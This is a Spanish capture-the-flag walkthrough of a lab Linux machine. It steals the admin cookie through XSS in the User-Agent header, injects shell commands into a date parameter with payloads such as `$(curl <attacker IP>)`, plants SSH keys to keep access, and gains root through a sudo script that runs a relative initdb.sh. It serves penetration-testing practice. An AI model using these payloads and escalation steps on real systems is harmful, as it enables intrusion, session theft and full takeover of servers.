Al entrar, nos encontramos con el siguiente panel.
Como se indica, la página está en construcción. Además pone que es posible hacer preguntas (posiblemente a quien gestione la página) a través de /support
Al entrar a /support nos encontramos el siguiente formulario, que permite mandar dudas a los desarrolladores.
Como la duda y nuestros datos se van a pasar al desarrollador de la web, es posible que si ve los datos desde la propia página haya una posible vulnerabilidad XSS.
Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.
Como el reporte con la información del cliente también se envía al administrador, no sería raro que pudiésemos tener un XSS en la propia info del cliente. Podemos probar a usar un User-Agent malicioso en los headers HTTP.
Mandamos la solicitud de nuevo, exactamente igual, pero ahora la interceptamos con BurpSuite y cambiamos el User-Agent por (otra vez):
Ahora User-Agent no tiene nada, lo que indica que es muy probable que se haya tomado como script y se haya ejecutado. Si vamos al servidor web de antes, nos encontramos con la cookie del administrador.
1
2
3
4
$ sudo python3 -m http.server -b 10.10.16.82 80[sudo] password for kali:
Serving HTTP on 10.10.16.82 port 80(http://10.10.16.82:80/) ...
10.129.8.232 - - [03/Jun/2026 08:13:41]"GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1"200 -
Ahora vamos a Devtools -> Storage -> Cookies -> is_admin y cambiamos su valor.
Necesitamos saber dónde usarla, así que enumeramos directorios, porque la página de support y la principal no cambian en nada al cambiar la cookie.
1
2
3
4
5
6
7
8
9
$ gobuster dir -u http://10.129.8.232:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
===============================================================Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)Starting gobuster in directory enumeration mode
===============================================================support (Status: 200)[Size: 2363]dashboard (Status: 500)[Size: 265]
El único punto en que se devuelve algo diferente es cuando mandamos date= sin ningún dato después. En tal caso no solo no aparece ningún error, sino que no se devuelve nada.
Podemos imaginarnos el backend como algo que procesa de la siguiente forma.
1
2
3
4
5
6
7
comando =f"/usr/bin/bash /opt/werkzeug/checkhealth.sh '{fecha}'"try:
ejecutar_en_shell(comando)
return"Systems are up and running!"except:
return""
Así que probamos a escapar de las comillas, por ejemplo haciendo esto:
1
2
3
4
date=2023-09-15'; curl 'http://10.10.16.82
# Todo encodeado a URL# Esto quedaría de la siguiente forma en el supuesto backend:comando = f"/usr/bin/bash /opt/werkzeug/checkhealth.sh '2023-09-15'; curl 'http://10.10.16.82'"
Pero al solicitarlo, en nuestro servidor no vemos nada. Ahora bien, podemos hacer algo todavía más simple.
Si la fecha se introduce en bash directamente, podemos abrir un $(...) para que se ejecute todo lo que hay dentro antes de ejecutar checkhealth.sh. Por ejemplo, con un payload así:
1
date=$(curl 10.10.16.82)
Si lo mandamos, miramos el servidor y efectivamente llega la solicitud.
1
2
3
4
$ sudo python3 -m http.server -b 10.10.16.82 80[sudo] password for kali:
Serving HTTP on 10.10.16.82 port 80(http://10.10.16.82:80/) ...
10.129.8.232 - - [03/Jun/2026 08:44:27]"GET / HTTP/1.1"200 -
Antes de continuar, lo ideal sería crear un par de claves ssh para mantener persistencia y no tener que depender de que el worker de Werkzeug mate nuestro shell en cualquier momento.
1
2
3
4
5
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./dvir
Enter passphrase for"./dvir"(empty for no passphrase):
...
Copiamos la clave a authorized_keys en el .ssh de dvir, y nos conectamos por ssh.
Si miramos qué permisos como sudo tenemos, encontramos esto.
1
2
3
4
5
6
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
#!/bin/bash
if["$EUID" -ne 0]; then exit 1filast_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")/usr/bin/echo "Last Kernel Modification Time: $formatted_time"disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')/usr/bin/echo "Available disk space: $disk_space"load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:''{print $2}')/usr/bin/echo "System load average: $load_average"if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null
else /usr/bin/echo "Database service is running."fiexit 0
Si nos fijamos, una vez se ha dado valores a last_modified_time, dist_space y load_average, se comprueba si la base de datos está activa o no, y si no lo está, se ejecuta ./initdb.sh desde la ubicación en la que está el usuario.
Esto significa que podemos crear un initdb.sh arbitrario, como este.
dvir@headless:/tmp$ chmod +x initdb.sh
dvir@headless:/tmp$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.13, 0.06, 0.01
Database service is not running. Starting it...
dvir@headless:/tmp$ ls rootbash -al
-rwsr-xr-x 1 root root 1265648 Jun 3 16:23 rootbash
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.
OS: Linux | Dificultad: Easy | Conceptos: Spring Boot Actuator, Session Hijacking (JSESSIONID), Command Injection HTTP/SSH, extracción de credenciales en JAR, PostgreSQL, reutilización de credenciales, privilegios sudo en SSH